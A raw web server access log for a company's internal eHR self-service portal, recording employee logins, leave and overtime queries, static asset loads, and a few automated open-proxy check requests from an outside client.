/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4438 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:41:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4438 192.168.12.46 - - [05/Dec/2025:19:41:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44733 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:41:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44733 192.168.12.46 - - [05/Dec/2025:19:41:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45094 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:41:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45094 192.168.12.46 - - [05/Dec/2025:19:41:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:41:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 192.168.12.46 - - [05/Dec/2025:19:41:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 79191 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:41:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 79191 192.168.12.46 - - [05/Dec/2025:19:42:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:42:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 192.168.12.46 - - [05/Dec/2025:19:42:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 103083 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:42:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 103083 192.168.12.46 - - [05/Dec/2025:19:42:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 136428 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:42:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 136428 192.168.12.46 - - [05/Dec/2025:19:42:33 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120295 HTTP/1.1" 200 6266 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:42:33 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120295 HTTP/1.1" 200 6266 192.168.12.46 - - [05/Dec/2025:19:42:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:42:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 192.168.12.46 - - [05/Dec/2025:19:42:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [05/Dec/2025:19:42:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:42:34 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344 192.168.12.46 - - [05/Dec/2025:19:42:34 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:42:34 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:42:34 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728 192.168.12.46 - - [05/Dec/2025:19:42:34 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:42:34 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099 192.168.12.46 - - [05/Dec/2025:19:42:34 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:42:34 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362 192.168.12.46 - - [05/Dec/2025:19:42:40 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:42:40 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.46 - - [05/Dec/2025:19:42:43 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:42:43 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.46 - - [05/Dec/2025:19:42:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:42:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.12.46 - - [05/Dec/2025:19:42:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:42:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 100.64.0.1 - - [05/Dec/2025:20:18:52 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [05/Dec/2025:20:18:52 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:20:18:57 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [05/Dec/2025:20:18:57 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 192.168.11.135 - - [05/Dec/2025:20:46:43 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:20:46:43 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [05/Dec/2025:20:46:42 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:20:46:42 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [05/Dec/2025:20:46:52 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:20:46:52 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [05/Dec/2025:20:46:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:20:46:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [05/Dec/2025:20:47:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:20:47:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [05/Dec/2025:20:47:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:20:47:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [05/Dec/2025:20:47:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:20:47:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 192.168.11.135 - - [05/Dec/2025:20:47:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167429 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:20:47:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167429 192.168.11.135 - - [05/Dec/2025:20:48:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168300 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:20:48:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168300 100.64.0.1 - - [05/Dec/2025:21:37:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:50 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/img/logo.gif HTTP/1.1" 200 3837 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/img/logo.gif HTTP/1.1" 200 3837 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/img/index_banner_2.jpg HTTP/1.1" 200 45216 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 